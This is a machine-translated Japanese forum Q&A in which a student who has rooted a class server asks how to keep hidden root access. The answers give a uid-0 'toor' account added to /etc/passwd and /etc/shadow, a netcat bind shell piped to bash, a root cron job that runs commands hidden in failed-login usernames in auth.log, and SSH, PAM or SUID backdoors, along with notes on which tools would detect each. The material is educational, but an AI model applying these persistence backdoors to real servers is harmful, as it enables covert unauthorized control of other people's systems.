私のソフトウェアセキュリティクラスでは、教授が作成したサーバーにハッキングする必要があります。サーバーにハッキングして、rootユーザーのパスワードを取得しました。
Rootになったので、サーバーに永続的にアクセスできるようにします。サーバーの架空の所有者は、私が非常に迅速に引き継いだことを簡単に見つけるでしょう。
私が作成できる新しい「見えない」ユーザーの下でroot権限でサーバーに永続的にアクセスする方法はありますか?サーバーへの一貫性があり、検出されないアクセスを保持する他の方法があれば幸いです。
それはむしろあなたが「見えない」によって何を意味するかによる。
システムの動作を変更して、検出可能なトレースを残さないことは実際には不可能です。あなたができることは、それらの痕跡を見つけるのをより難しくすることです。スケールの最端部では、ユーザー空間に戻るインターフェースを持つ、それ自体を隠すことができるカーネルモジュールをコンパイルできますが、これは簡単なことではありません。スケールの反対側では、既存のユーザーのエイリアスを/ etc/passwdと/ etc/shadowに追加できます。
root:x:0:0:root:/root:/bin/bash
toor:x:0:0:root:/root:/bin/bash
root:$1$WXYZabc4:17158:0:99999:7:::
toor:$1$ABCxyz12:17158:0:99999:7:::
(ターゲットは、より最新で詳細なcrypt実装を使用します)。これは影響を受けるファイルに表示されます。
Netcatまたは[x] inetdを使用して、シェルをネットワークに直接組み込むことができます
nc -l -p 8282 | bash
...これはかなり明白であり、netstatとpsに表示されます。
既存のシステムユーザーにシェルを追加してパスワードを設定し、特権アクセスを利用するには、setuidプログラムが必要です。スクリプトのsetuidビットを設定しても機能しないことは、すでにご存じでしょう。おそらく、マジックユーザー名のpamをスキップするsuの修正バージョンです。/binに単にドロップしないでください-使用される可能性が低いと思われる既存のsetuidプログラム(たとえば、ping6)を上書きします。それでもtripwireまたはossecに表示されます。
1つの楽しみは、認証なしでデータを書き込むことができる場所を特定し、cronジョブをrootとして設定して文字列を抽出し、rootとして実行することです(以下は意図的に簡略化されています)。
#!/bin/bash
tail -100 /var/log/auth.log | \
awk '/Failed password for gangsta/ {
split($0, out, "gangsta|from");
print out[1] "\n";
}' >/tmp/myscript
. /tmp/myscript
rm -f /tmp/myscript
...これもホストIDSによって取得される可能性があり、cronファイルでこれをオーバーライドしない限り、cronはジョブの出力をユーザーにメールで送信することに注意してください。
作成できる新しい「非表示」ユーザーの下でroot権限を使用してサーバーへの永続的なアクセスを確保する方法はありますか
多くの方法がありますが、より簡単な方法は、たとえば、SSHバイナリをバックドアすることです(検出不可能ではありません。rkhunter
、tripwire
などはすべて、問題があることを示します)。または、そのライブラリのいずれか、たとえば [〜#〜] pam [〜#〜] 。その後、いつでもルートとして再入力できます。
システムが正しく強化されている場合は、最大 Blue Pill レベルまでの「実際の」ルートキットが必要です。
それはあなたの犠牲者に大きく依存します。単純で潜在的に効率的なアイデア:非rootアクセス権がある場合(そしてそれを失うことはないと想定している場合)、いくつかの実行可能ファイル(たとえば、/ bin/bash)をコピーしてSUIDビットを設定してみてください。もちろん、rootが所有するSUID実行可能ファイルを探すこともできますが、これは一目で疑うべきではありません。
タグdirty-cowを使用しているので、それはあなたのケースだと思います。 ☺